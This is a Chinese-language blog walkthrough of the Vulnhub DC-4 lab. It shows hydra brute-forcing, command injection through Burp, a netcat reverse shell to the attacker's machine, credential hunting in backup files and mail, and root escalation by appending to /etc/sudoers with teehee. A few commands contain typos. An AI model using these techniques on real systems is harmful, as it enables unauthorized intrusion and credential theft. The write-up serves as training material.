当前位置:首页 > 渗透测试 > 正文内容

Vulnhub-DC-4渗透教程

admin4小时前渗透测试2

1.信息收集

由于缺乏目标系统的IP和账号信息,我们需要通过其他方式获取。这里选择使用ARP扫描工具来探测目标,但请注意:前提是你的Kali系统必须与靶机处于同一个局域网中。

arp-scan -l

在完成网络扫描后,我们确定了该靶机的 IP 地址为 172.16.1.137。

图片.png

我们使用nmap对其开放端口进行扫描,进一步获取信息。

图片.png

扫描结果显示,该系统的攻击面十分精简,仅开放了 80 端口和 SSH 端口。首先,我们直接访问 80 端口下的 Web 应用,看看能收集到什么关键信息。

图片.png

打开 80 端口的 Web 页面,映入眼帘的是一个典型的账号密码登录框。观察其数据交互方式为 POST 传参,因此我们优先测试该登录点是否存在 SQL 注入的可能。

sqlmap -u "http://172.16.1.137/login.php" --data="username=admin&password=123" -p "username"

图片.png

2.漏洞利用

在针对该登录表单进行 SQL 注入探测无果后,我们将测试方向转向了密码暴力破解(Brute-force)。在爆破前,我们需要确定用户名。在大多数 Web 系统中,管理员账号通常默认为 admin。此外,我们也可以尝试输入 admin 并提交任意密码,通过观察返回的错误提示(例如:提示‘密码错误’而非‘用户不存在’),来侧面验证该用户名是否有效。结合上述两点,我们决定以 admin 作为目标用户名,并配合字典对其密码进行爆破。

hydra -l admin -P /usr/share/wordlists/rockyou.txt 172.16.1.137 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -F

图片.png

经过字典爆破,我们成功获取了管理员账号(admin)的明文凭据:happy。使用该凭据登录 Web 后台后,发现系统提供了三个基础的信息查看功能:文件列表(List Files)、磁盘使用率(Disk Usage)以及磁盘剩余空间(Disk Free)。

图片.png

由于这些功能在底层必然需要调用操作系统的命令来执行,我们决定使用 Burp Suite 抓取点击这些按钮时产生的数据包,以排查是否存在命令注入漏洞(Command Injection)。

图片.png

通过抓包重放测试,我们确认该功能点存在命令注入漏洞。由于后端接收 POST 参数后,未做任何安全过滤便直接调用系统命令执行,前端设定的三个固定选项完全可以通过 Burp Suite 拦截并篡改。这意味着我们能够借此漏洞在目标服务器上执行任意系统指令。

图片.png

下一步,我们需要先探测一下目标主机中是否存在 nc 工具。如果有,利用它反弹 Shell 会是最快捷的方式;如果缺少该工具,我们则需转换思路,尝试使用系统自带的特性或其他语言(如 Python)来建立连接。

图片.png

3.建立Webshell

经探测确认,目标系统内确实安装了 Netcat 工具。这为我们的后续操作提供了极大便利,接下来我们将直接利用 Netcat 构造反弹 Shell(Reverse Shell),以获取目标主机的交互式命令行。

首先我们需要在我们的攻击机(kali)系统上面进行端口监听。命令如下:

nc lvnp 4444

图片.png

下一步,我们回到 Burp Suite 的代理拦截界面,直接修改数据包中的命令参数,并将构造好的 Payload 发送至服务器。抓包与改包的细节如下图所示:

图片.png

在发送请求前,我们需要对 Payload 进行 URL 编码。因为 HTTP 协议对部分特殊字符(如空格、&、> 等)有特殊语义,若不进行编码,极易导致 Payload 在传输过程中被截断或错误解析,从而影响命令的最终执行。

在 Burp Suite 的 Repeater(重放)模块中,选中我们构造的系统命令 nc -e /bin/bash 172.16.1.132 4444,使用快捷键 Ctrl + U 对其进行 URL 编码。这是处理特殊字符、确保 Payload 完整传输的最便捷方式。编码后的效果如下图所示:

图片.png

随后点击 Send(发送)按钮重放请求。此时可以发现,右侧的 Response 面板处于空白状态或一直加载中——这是因为目标主机正在执行反弹命令,导致当前 HTTP 请求被挂起。此时切换到我们的 BlackArch(或 Kali)系统终端,可以发现已经成功接收到了目标靶机反弹回来的 Shell。

图片.png

为了方便后续命令的输入与执行,我们将利用 Python 升级当前的反弹 Shell,获取一个标准的交互式 TTY 终端。操作时,只需在终端输出 Connection received on 172.16.1.137 的下方,直接执行相应的 Python 命令即可。

python -c 'impot pty;pty.spawn("/bin/bash")'

图片.png

进入目标目录后,我们执行 ls 命令列出当前文件,以排查其中是否存在可用于提权或横向移动的敏感信息及可利用文件

图片.png

由于当前目录下未发现可直接利用的提权文件,我们转换攻击思路。结合前期端口扫描的结果,目标主机开放了 22 端口(SSH 服务)。因此,我们决定在本地系统中进一步收集其他用户的身份信息与凭据,尝试以此为突破口进行横向移动。

接下来,我们查看 /home 目录下的内容。在 Linux 系统中,/home 通常存放着普通用户的家目录及私有数据。因此,这里往往是寻找用户身份信息、历史命令或敏感配置文件的重要区域。

图片.png

4.获取系统账号密码

在排查 /home 目录时我们有了关键发现:其他用户的家目录均为空,但 jim 用户目录下存在两个文件及一个 backups 文件夹。经初步查看,test.sh 与 mbox 文件并无直接利用价值。然而,我们在 backups 目录下发现了一个名为 old_passwords.bak 的文件,这显然是一个历史密码备份文件。因此,我们可以将其内容作为密码字典,对 jim 用户的 SSH 服务进行暴力破解。

我们使用cat查看该文件信息,并将其中内容复制粘贴到我们的攻击机的系统上面(kali或blackarch),然后使用破解工具进行破解。

hydra -l jim -P dc4.txt ssh://172.16.1.13

图片.png

我们终于拿到了jim用户的密码,我们使用该密码登录靶机。

图片.png

5.root提权

成功登录目标系统后,我们注意到了一个关键的系统提示:You have mail.。在 Linux 环境中,这通常意味着系统本地邮箱存在未读邮件,往往可能包含敏感信息或用户凭据,值得进一步探查。

图片.png

我们使用cat查看该邮件内容,发现了Charles的密码,我们登录Charles账号。

图片.png

 我们直接使用 su charles进入该账号

图片.png

成功切换到 charles 账号后,我们执行 sudo -l 命令。该命令用于列出当前用户被授权以 root 身份执行的特权命令,这是寻找提权突破口的关键步骤。

   (root) NOPASSWD: /usr/bin/teehee

图片.png

通过回显我们发现,charles 用户被配置了免密执行(NOPASSWD)teehee 工具的权限。这意味着我们可以直接利用该工具,以 root 特权身份执行相关操作。

echo "charles ALL=(ALL:ALL) ALL" | sudo teehee -a /etc/sudoers

我使用以上命令对sudoers文件进行修改,让Charles账号能够sudo所有root的执行命令,经过以上修改,我们已经具体root权限的能力,我们查看flag信息;获取我们需要的flag

图片.png

6. 总结

至此,DC-4 靶机的渗透测试圆满完成。回顾整个过程,这是一条非常经典的“从外网打点到获取系统最高权限”的攻击链路:首先通过 Web 前端的信息收集,识别出默认口令(admin/happy)进入后台;接着利用后台功能的逻辑缺陷,通过抓包篡改参数,触发命令注入漏洞拿到低权限 Shell;随后,在系统内部进行精细的本地枚举,通过家目录下的历史备份文件(old_passwords.bak)横向移动至 jim 用户,并结合邮件服务找到 charles 的凭据;最终,利用配置不当的 teehee 特权程序,通过修改 sudoers 文件完成了 Root 提权。

这个靶机深刻揭示了“信任边界”的重要性——不论是前端对输入参数的过滤、还是系统对敏感文件(备份、邮件)的权限管控,亦或是 sudo 的配置管理,任何一环的疏漏都可能成为攻击者长驱直入的跳板。






返回列表

上一篇:Vulnhub-DC-3渗透教程

没有最新的文章了...

相关文章

vulnhub-DC-2渗透教程

vulnhub-DC-2渗透教程

引言DC-2 是一个面向初学者的 WordPress 渗透靶场,整个攻击链覆盖信息收集 → 字典生成 → 凭据爆破 → 横向移动 → 权限提升五个阶段。本教程侧重渗透思路的演进,对每一步"为...

Vulnhub-DC-3渗透教程

Vulnhub-DC-3渗透教程

DC-1 和 DC-2 已经拆完了,这篇接着干 DC-3。VulnHub 里的第三个靶机,难度比前两个上了一档,枚举和提权的思路都有新东西。1 信息采集我们使用arp扫描工具获取该系统的IP地址信息。...